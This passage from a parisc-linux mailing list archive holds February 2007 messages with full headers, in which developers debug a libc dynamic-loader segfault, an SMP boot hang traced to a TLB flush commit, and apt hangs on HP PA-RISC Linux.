to that in a simple testcase, it seems that the value setup for
r19 is somehow wrong.  Surrounding values are similar to what
I see in the simple testcase:

#include <stdlib.h>
int
main ()
{
  exit (0);
}

Testcase:
(gdb) x/16x 0x4046221c
0x4046221c:     0x00000003      0x40465c6c      0x00000002      0x0000147c
0x4046222c:     0x00000014      0x00000007      0x00000017      0x403397cc
0x4046223c:     0x00000007      0x4032d0ac      0x00000008      0x0000c720
0x4046224c:     0x00000009      0x0000000c      0x6ffffffc      0x00010ec0

Segv case:
(gdb) x/16x $r20
0x4086221c <.LC2+84>:   0x00000003      0x40df252f      0x00000002      0x0000147c
0x4086222c <.LC2+100>:  0x00000014      0x00000007      0x00000017      0x407397cc
0x4086223c <.LC2+116>:  0x00000007      0x4072d0ac      0x00000008      0x0000c720
0x4086224c <.LC2+132>:  0x00000009      0x0000000c      0x6ffffffc      0x00010ec0

I think '3' in the preceeding location indicates the erronious value
is a PLTGOT value (i.e., we're looking at part of the relocated dynamic
section in /lib/libc.so.6).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The parisc SMP boot problem
Date: Sun, 18 Feb 2007 11:44:13 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <1171820653.3423.22.camel__39132.812122307$1416624298$gmane$org@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624298 22844 80.91.229.3 (22 Nov 2014 02:44:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:58 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>,
 Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 17:44:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 18 Feb 2007 18:44:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA8A67DAF7;
	Sun, 18 Feb 2007 10:44:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31478-07; Sun, 18 Feb 2007 10:44:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 982FF7DAE6;
	Sun, 18 Feb 2007 10:44:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96AD67DACF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 10:44:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31427-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 10:44:16 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 93E027DAC6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 10:44:15 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1IHiEx21933; 
	Sun, 18 Feb 2007 12:44:14 -0500
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LPWqZQEKeSE59b6WZHQhTuN2IGRvb4AD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24356

After a bit more of an analysis of our changesets (I concluded it must
have been something we introduced).  This is the source of the SMP boot
hang on 2.6.20-rcX:

commit 01a9fa750904beed08814364fcbd7039eca8ec71
Author: Randolph <tausq@debian.org>
Date:   Mon Dec 11 16:07:51 2006 -0800

    Optimize TLB flush on SMP systems
    
    Signed-off-by: Randolph Chung <tausq@debian.org>

As predicted, the reason it passed all the tests at the time it was
introduced is that because of the piggin bug, we were only scheduling on
a single CPU, and so the SMP piece of this wasn't truly tested.

Reverting this patch allows ioz to boot correctly.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] One of these things is not like the other!
Date: Sun, 18 Feb 2007 13:25:26 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <5b2e36650702181025t595bfdbam3d11b455be1cc657__33451.932288199$1416624299$gmane$org@mail.gmail.com>
References: <119aab440702181014p1b99a00dj191bab9884d42a8d@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624299 22847 80.91.229.3 (22 Nov 2014 02:44:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:59 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 18:25:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 18 Feb 2007 19:25:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3EC77DB14;
	Sun, 18 Feb 2007 11:25:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32203-08; Sun, 18 Feb 2007 11:25:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C882F7DB01;
	Sun, 18 Feb 2007 11:25:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51B927DAF2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 11:25:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32138-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 11:25:28 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.231])
	by free.linux.hp.com (Postfix) with ESMTP id 71CD07DAED
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 11:25:28 -0700 (MST)
Original-Received: by wr-out-0506.google.com with SMTP id i22so1387869wra
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 10:25:28 -0800 (PST)
Original-Received: by 10.114.211.1 with SMTP id j1mr2619824wag.1171823126485;
	Sun, 18 Feb 2007 10:25:26 -0800 (PST)
Original-Received: by 10.114.126.12 with HTTP; Sun, 18 Feb 2007 10:25:26 -0800 (PST)
In-Reply-To: <119aab440702181014p1b99a00dj191bab9884d42a8d@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SPe6EShBbXBt87qHPTQ2cYEqLyUmZQjM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24357

On 18/02/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> apt works fine from the chroot, but packages that rely on threads are broken.
> Packages relying on pthread_push_cleanup, and pthread_pop_cleanup are
> also broken since we have bugs in those functions according to the
> testsuite.

apt only stopped working for me after I recompiled libstdc++6, but
before I recompiled apt.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] One of these things is not like the other!
Date: Sun, 18 Feb 2007 14:00:02 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <5b2e36650702181100s1db1698bld39315f37b5537a3__45382.5264391073$1416624299$gmane$org@mail.gmail.com>
References: <119aab440702181014p1b99a00dj191bab9884d42a8d@mail.gmail.com>
	<5b2e36650702181025t595bfdbam3d11b455be1cc657@mail.gmail.com>
	<119aab440702181051u7ced02dbw24089d9f4058aa7c@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624299 22850 80.91.229.3 (22 Nov 2014 02:44:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:59 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 19:00:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 18 Feb 2007 20:00:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 646CF7DB35;
	Sun, 18 Feb 2007 12:00:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00522-10; Sun, 18 Feb 2007 12:00:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 263BE7DB1F;
	Sun, 18 Feb 2007 12:00:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E88527DB1D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:00:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00522-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:00:08 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.228])
	by free.linux.hp.com (Postfix) with ESMTP id 4D0B77DB1E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:00:04 -0700 (MST)
Original-Received: by wr-out-0506.google.com with SMTP id i22so1393232wra
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 11:00:03 -0800 (PST)
Original-Received: by 10.114.183.1 with SMTP id g1mr2631207waf.1171825202608;
	Sun, 18 Feb 2007 11:00:02 -0800 (PST)
Original-Received: by 10.114.126.12 with HTTP; Sun, 18 Feb 2007 11:00:02 -0800 (PST)
In-Reply-To: <119aab440702181051u7ced02dbw24089d9f4058aa7c@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KdexdigleWU35a2TZm9nUrsrL0tsZo3D
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24358

On 18/02/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On 2/18/07, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> > On 18/02/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> > > apt works fine from the chroot, but packages that rely on threads are broken.
> > > Packages relying on pthread_push_cleanup, and pthread_pop_cleanup are
> > > also broken since we have bugs in those functions according to the
> > > testsuite.
> >
> > apt only stopped working for me after I recompiled libstdc++6, but
> > before I recompiled apt.
>
> That's odd. What do you mean by stopped working?

(sorry for the repeat, I hit reply instead of reply all)

Any apt operation would hang.  apt-cache, apt-get, etc.  I did an
strace on it, but it wasn't in a syscall.  When I recompiled to get
debug symbols, it started working again.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Sun, 18 Feb 2007 14:07:31 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <200702181907.l1IJ7WFc017264__3937.02198421142$1416624299$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702181047x5719075ey97f0f76f939dde90@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624299 22859 80.91.229.3 (22 Nov 2014 02:44:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 19:07:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 18 Feb 2007 20:07:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D52D7DB52;
	Sun, 18 Feb 2007 12:07:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00932-09; Sun, 18 Feb 2007 12:07:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A3327DB4F;
	Sun, 18 Feb 2007 12:07:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B52C7DB4D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:07:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00883-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:07:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 687B97DB3C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:07:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1IJ7WIm017266;
	Sun, 18 Feb 2007 14:07:32 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1IJ7WFc017264;
	Sun, 18 Feb 2007 14:07:32 -0500 (EST)
In-Reply-To: <119aab440702181047x5719075ey97f0f76f939dde90@mail.gmail.com>
	from "Carlos O'Donell" at Feb 18, 2007 01:47:25 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zJXtdBYDbUkosOnGPWgnI6tkZ2hlN4o+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24359

> On 2/18/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> > To be truthful I don't understand why we rummage around the relocs in
> > elf_machine_runtime_setup, we have the linkmap for the object we are
> > loading, there should be no need to do this.
> 
> I realized later, that DT_PLTGOT is the LTP, and we have no way to ask
> the linkmap the following questions:
> 
> 1. Where is the end of that objects PLT?
> 2. Where is the start of that objects GOT?
> 
> The only way to answer those questions is to look for the last reloc
> in the PLT and match the stub signature.

Is elf_machine_runtime_setup adjusting DT_PLTGOT?

This search seems horrific.  Shouldn't we add DT values for the
above?  There must be OS specific values that could be used.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] One of these things is not like the other!
Date: Sun, 18 Feb 2007 14:28:46 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <5b2e36650702181128j4d1879acj960754031e4c7e0a__12164.5486717627$1416624300$gmane$org@mail.gmail.com>
References: <119aab440702181014p1b99a00dj191bab9884d42a8d@mail.gmail.com>
	<5b2e36650702181025t595bfdbam3d11b455be1cc657@mail.gmail.com>
	<119aab440702181051u7ced02dbw24089d9f4058aa7c@mail.gmail.com>
	<5b2e36650702181100s1db1698bld39315f37b5537a3@mail.gmail.com>
	<119aab440702181101w51a8bf62vbe43e87d5a016ff6@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624300 22862 80.91.229.3 (22 Nov 2014 02:45:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:00 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 19:29:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 18 Feb 2007 20:29:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3664D7DB6D;
	Sun, 18 Feb 2007 12:28:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01351-09; Sun, 18 Feb 2007 12:28:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1DAF7DB6E;
	Sun, 18 Feb 2007 12:28:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E320E7DB6C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:28:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01350-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:28:49 -0700 (MST)
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.234])
	by free.linux.hp.com (Postfix) with ESMTP id 37CD67DB6B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:28:49 -0700 (MST)
Original-Received: by nz-out-0506.google.com with SMTP id o37so1629713nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 11:28:48 -0800 (PST)
Original-Received: by 10.114.137.2 with SMTP id k2mr2641487wad.1171826927000;
	Sun, 18 Feb 2007 11:28:47 -0800 (PST)
Original-Received: by 10.114.126.12 with HTTP; Sun, 18 Feb 2007 11:28:46 -0800 (PST)
In-Reply-To: <119aab440702181101w51a8bf62vbe43e87d5a016ff6@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kcW6ESRLbXBt87qHPTQ2Ot8qLyUmZQij
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24360

On 18/02/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On 2/18/07, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> > (sorry for the repeat, I hit reply instead of reply all)
> >
> > Any apt operation would hang.  apt-cache, apt-get, etc.  I did an
> > strace on it, but it wasn't in a syscall.  When I recompiled to get
> > debug symbols, it started working again.
>
> In the future please run gdb, attach to the process and type "bt" so
> that I can get a hint about the program failure. I'm not asking you to
